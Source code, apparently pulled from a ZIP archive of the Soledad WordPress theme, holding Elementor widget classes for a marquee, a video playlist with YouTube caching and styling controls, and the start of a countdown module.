							printf( '<span class="marquee-title" %1$s>%2$s</span>', wp_kses_post( $this->get_render_attribute_string( $single_color ) ), esc_html( $list['marquee_content'] ) );
						}
						?>
                    </div>

					<?php
					$count ++;
				endforeach;
			endif; ?>
		<?php endif; ?>

		<?php if ( $settings['marquee_type'] === 'image' ) : ?>
			<?php if ( $contentImages ) :
				foreach ( $contentImages as $key => $image ) :
					$this->render_thumbnail( $image, $settings['marquee_image_caption'] === 'yes' );
					?>
				<?php endforeach;
			endif; ?>
		<?php endif; ?>

		<?php
	}

	public function render() {
		$settings = $this->get_settings_for_display();

		$this->add_render_attribute( 'penci-marquee-el', [
			'id'    => 'penci-marque-' . $this->get_id() . '',
			'class' => [ 'penci-marquee-el', 'marquee-type-' . $settings['marquee_type'] . '' ],
		], null, true ); ?>


        <div <?php $this->print_render_attribute_string( 'penci-marquee-el' ); ?>>
			<?php $this->marquee_rolling(); ?>
        </div>
		<?php
	}
}
PK     N\5F%  %  5  inc/elementor/modules/penci-video-playlist/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciVideoPlaylist;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-video-playlist';
	}

	public function get_widgets() {
		return array( 'PenciVideoPlaylist' );
	}
}
PK     N\
+    K  inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVideoPlaylist\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciVideoPlaylist extends Base_Widget {

	public function get_name() {
		return 'penci-video-playlist';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Video Playlist', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-youtube';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'penci_block_width', array(
			'label'   => __( 'Element Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 3,
			'options' => array(
				'1' => esc_html__( '1 Column ( Small Container Width)', 'soledad' ),
				'2' => esc_html__( '2 Columns ( Medium Container Width )', 'soledad' ),
				'3' => esc_html__( '3 Columns ( Large Container Width )', 'soledad' ),
			)
		) );

		$this->add_control( 'app_id', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize &gt; General Options &gt; YouTube API Key and enter an api key.',
			'content_classes' => 'elementor-descriptor',

		) );

		$this->add_control( 'video_type', array(
			'label'   => __( 'Video Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => array(
				'custom'           => esc_html__( 'Custom', 'soledad' ),
				'youtube_playlist' => esc_html__( 'Youtube Playlist', 'soledad' ),
			),
		) );

		$this->add_control( 'videos_list', array(
			'label'       => __( 'Videos List', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'condition'   => [ 'video_type' => 'custom' ],
			'description' => __( 'Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.', 'soledad' ),
		) );

		$this->add_control( 'yplaylist_id', array(
			'label'       => __( 'Youtube Playlist ID', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'condition'   => [ 'video_type' => 'youtube_playlist' ],
			'description' => __( 'Enter Youtube Playlist ID or Playlist URL.', 'soledad' ),
		) );

		$this->add_control( 'yplaylist_limit', array(
			'label'     => __( 'Limit Items on Youtube Playlist', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '5',
			'condition' => [ 'video_type' => 'youtube_playlist' ],
		) );

		$this->add_control( 'hide_duration', array(
			'label'     => __( 'Hide video duration', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		) );
		$this->add_control( 'hide_order_number', array(
			'label'     => __( 'Hide video order number', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		) );
		$this->add_control( 'video_title_length', array(
			'label'     => __( 'Title Length for Video', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '10',
			'separator' => 'before',
		) );
		$this->add_control( 'block_id', array(
			'label'   => __( 'Unique ID for Save & Clear Caching', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => rand( 1000, 100000 ),
		) );
		$this->end_controls_section();

		$this->register_block_title_section_controls();


		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'list_video_bgcolor', array(
			'label'     => __( 'Background list videos', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'video_title_color', array(
			'label'     => __( 'Video title color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-playlist-item .penci-video-title' => 'color: {{VALUE}};', ),
		) );
		$this->add_control( 'video_title_hover_color', array(
			'label'     => __( 'Video title hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'duration_color', array(
			'label'     => __( 'Video duration color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video-playlist-item .penci-video-duration' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'order_number_color', array(
			'label'     => __( 'Video order number color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .playlist-panel-item' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'order_number_bgcolor', array(
			'label'     => __( 'Video order number background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .playlist-panel-item' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'item_video_border_color', array(
			'label'     => __( 'Item video border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .penci-video-playlist-item' => 'border-color: {{VALUE}};' ),
		) );
		$this->add_control( 'item_video_bg_hcolor', array(
			'label'     => __( 'Item video hover background and border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'scrollbar_bg_hcolor', array(
			'label'     => __( 'Scroll bar background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb' => 'background-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_heading_title_style_section_controls();
	}

	public function register_block_title_section_controls() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
				'video_list'        => esc_html__( 'Style Video List', 'soledad' ),
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->add_control( 'add_title_icon', array(
			'label'     => __( 'Add icon for title?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Show', 'soledad' ),
			'label_off' => __( 'Hide', 'soledad' ),
			'default'   => '',
			'separator' => 'before',
		) );

		$this->add_control( 'block_title_icon', array(
			'label'       => __( 'Icon', 'soledad' ),
			'type'        => Controls_Manager::ICON,
			'default'     => 'fas fa-star',
			'label_block' => true,
			'condition'   => array(
				'add_title_icon' => 'yes'
			),
		) );
		$this->add_control( 'block_title_ialign', array(
			'label'     => __( 'Icon Alignment', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'left',
			'options'   => array(
				'left'  => esc_html__( 'Left', 'soledad' ),
				'right' => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			)
		) );

		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );

		$this->add_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_heading_title_style_section_controls() {
		$this->start_controls_section( 'section_title_block_style', array(
			'label' => __( 'Block Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow span' => '--pcheading-cl: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                                                                                                                                                                                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title'                                                                                                                                                                                             => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover'            => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title a:hover' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span'                                                                                                                                                                                                                                                                                                                                                                                                                               => '--pcaccent-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-26 .inner-arrow, {{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow'                                                                                                                                                                                                                                                                                                                                                                           => '--pcborder-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:after,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                              => 'border-top-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
			)
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Border Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}}  .penci-border-arrow:after'                               => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:after'        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:after' => 'background-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Border Top', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );
		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Border Bottom', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Border Bottom on Widget Heading Style 7,8', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-8' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Shapes', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Style 18, 19, 20', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );
		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow span span, {{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow > span, {{WRAPPER}} .penci-homepage-title.style-26' => '--pcbg-cl: {{VALUE}};',
				'{{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                 => 'border-color: transparent;border-top-color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                  => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title'                                                                                                                       => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after'                          => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow > span' => '--pcheading-cl: {{VALUE}};',
			)
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'       => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'        => Controls_Manager::MEDIA,
			'dynamic'     => array( 'active' => true ),
			'responsive'  => true,
			'render_type' => 'template',
			'selectors'   => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition'   => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow, {{WRAPPER}} .penci-video_playlist .penci-playlist-title h2',
		) );
		$this->end_controls_section();
	}


	protected function render() {
		$settings = $this->get_settings();

		if ( ( ! $settings['videos_list'] && $settings['video_type'] == 'custom' ) || ( $settings['video_type'] == 'youtube_playlist' && ! $settings['yplaylist_id'] ) ) {
			return;
		}

		$css_class = 'penci-block-vc penci-video_playlist';
		$css_class .= ' pencisc-column-' . $settings['penci_block_width'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php
				if ( ! get_theme_mod( 'penci_youtube_api_key' ) && preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $settings['videos_list'], $matches ) ) {
					echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
				}

				$cache_name = 'penci-shortcode-playlist-' . $settings['video_type'] . '-' . $settings['block_id'];
				$cache_key  = 'penci-shortcode-playlist-key' . $settings['video_type'] . '-' . $settings['block_id'];

				$videos = preg_split( '/\r\n|[\r\n]/', $settings['videos_list'] );;
				$videos_list     = get_transient( $cache_name );
				$videos_list_key = get_transient( $cache_key );
				$rand_video_list = rand( 1000, 100000 );


				if ( $settings['video_type'] == 'custom' && ( empty( $videos_list ) || $settings['videos_list'] != $videos_list_key ) ) {
					$videos_list = \Penci_Video_List::get_video_infos( $videos );
					set_transient( $cache_name, $videos_list, 18000 );
					set_transient( $cache_key, $settings['videos_list'], 18000 );
				}

				if ( $settings['video_type'] == 'youtube_playlist' && ( empty( $videos_list ) || $settings['yplaylist_id'] != $videos_list_key ) ) {
					$videos_list = \Penci_Video_List::get_playlist_videos_ids( $settings['yplaylist_id'], $settings['yplaylist_limit'] );
					set_transient( $cache_name, $videos_list, 18000 );
					set_transient( $cache_key, $settings['videos_list'], 18000 );
				}

				$videos_count = is_array( $videos_list ) ? count( (array) $videos_list ) : 0;

				if ( ! empty( $videos_list ) ): ?>
                    <div class="penci-video-play">
						<?php foreach ( (array) $videos_list as $key => $video ): ?>
							<?php
							if ( $key > 0 ) {
								continue;
							}
							?>
                            <div class="fluid-width-video-wrapper">
                                <iframe class="penci-video-frame"
                                        id="video-<?php echo esc_attr( $rand_video_list ) ?>-1"
                                        src="<?php echo esc_attr( $video['id'] ) ?>" width="770" height="434"
                                        allowfullscreen></iframe>
                            </div>
						<?php endforeach; ?>
                    </div>
                    <div class="penci-video-nav">
						<?php if ( ! empty( $settings['heading'] ) && 'video_list' == $settings['heading_title_style'] ): ?>
                            <div class="penci-playlist-title">
                                <div class="playlist-title-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span></div>
                                <h2>
									<?php
									$attr_link = ' href="#" aria-label="URL"';
									if ( $settings['heading_title_link']['url'] ) {
										$this->add_render_attribute( 'link', 'href', $settings['heading_title_link']['url'] );
										if ( $settings['heading_title_link']['is_external'] ) {
											$this->add_render_attribute( 'link', 'target', '_blank' );
										}

										if ( $settings['heading_title_link']['nofollow'] ) {
											$this->add_render_attribute( 'link', 'rel', 'nofollow' );
										}

										$attr_link = $this->get_render_attribute_string( 'link' );
									}

									echo( ! empty( $settings['heading_title_link'] ) ? '<a ' . $attr_link . '>' : '<span>' );
									echo esc_html( $settings['heading'] );
									echo( ! empty( $settings['heading_title_link'] ) ? '</a >' : '</span>' );
									?>
                                </h2>
                                <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo( $videos_count ) ?></span>
									<?php
									esc_html_e( 'Videos', 'soledad' );
									?>
								</span>
                            </div>
						<?php endif; ?>
						<?php
						$class_nav = ( ! empty( $settings['title'] ) && 'video_list' == $settings['heading_title_style'] ) ? ' playlist-has-title' : '';
						$class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

						$direction = is_rtl() ? ' dir="rtl"' : '';
						?>
                        <div class="penci-video-playlist-nav<?php echo esc_attr( $class_nav ); ?>"<?php echo( $direction ); ?>>
							<?php
							$video_number = 0;
							foreach ( $videos_list as $video ):
								$video_number ++;
								?>
                                <a data-name="video-<?php echo esc_attr( $rand_video_list . '-' . $video_number ) ?>"
                                   data-src="<?php echo esc_attr( $video['id'] ) ?>"
                                   class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr( $video_number ); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if ( ! $settings['hide_order_number'] ): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr( $video_number ) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon( 'fas fa-pause' ); ?></span>
									<?php
									endif;


									$class_lazy = $data_src = '';
									$dis_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
									if ( $dis_lazy ) {
										$class_lazy = ' penci-disable-lazy';
										$data_src   = 'style="background-image: url(' . esc_url( $video['thumb'] ) . ');"';
									} else {
										$class_lazy = ' penci-lazy';
										$data_src   = 'data-bgset="' . esc_url( $video['thumb'] ) . '"';
									}

									printf( '<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__( 'Thumbnail youtube', 'soledad' ) );
									?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr( $video['title'] ); ?>"><?php echo wp_trim_words( $video['title'], $settings['video_title_length'], '...' ); ?></span>
									<?php if ( ! $settings['hide_duration'] && $video['duration'] ): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr( $video['duration'] ) ?></span>
									<?php endif; ?>
								</span>
							</span>
                                </a>
							<?php endforeach;
							?>
                        </div>
                    </div>
				<?php endif; ?>
            </div>
        </div>
		<?php
	}
}
PK     N\ta  a  1  inc/elementor/modules/penci-count-down/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCountDown;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-count-down';
	}

	public function get_widgets() {
		return array( 'PenciCountDown' );
	}
}
PK     N\i@  i@  C  inc/elementor/modules/penci-count-down/widgets/penci-count-down.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCountDown\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

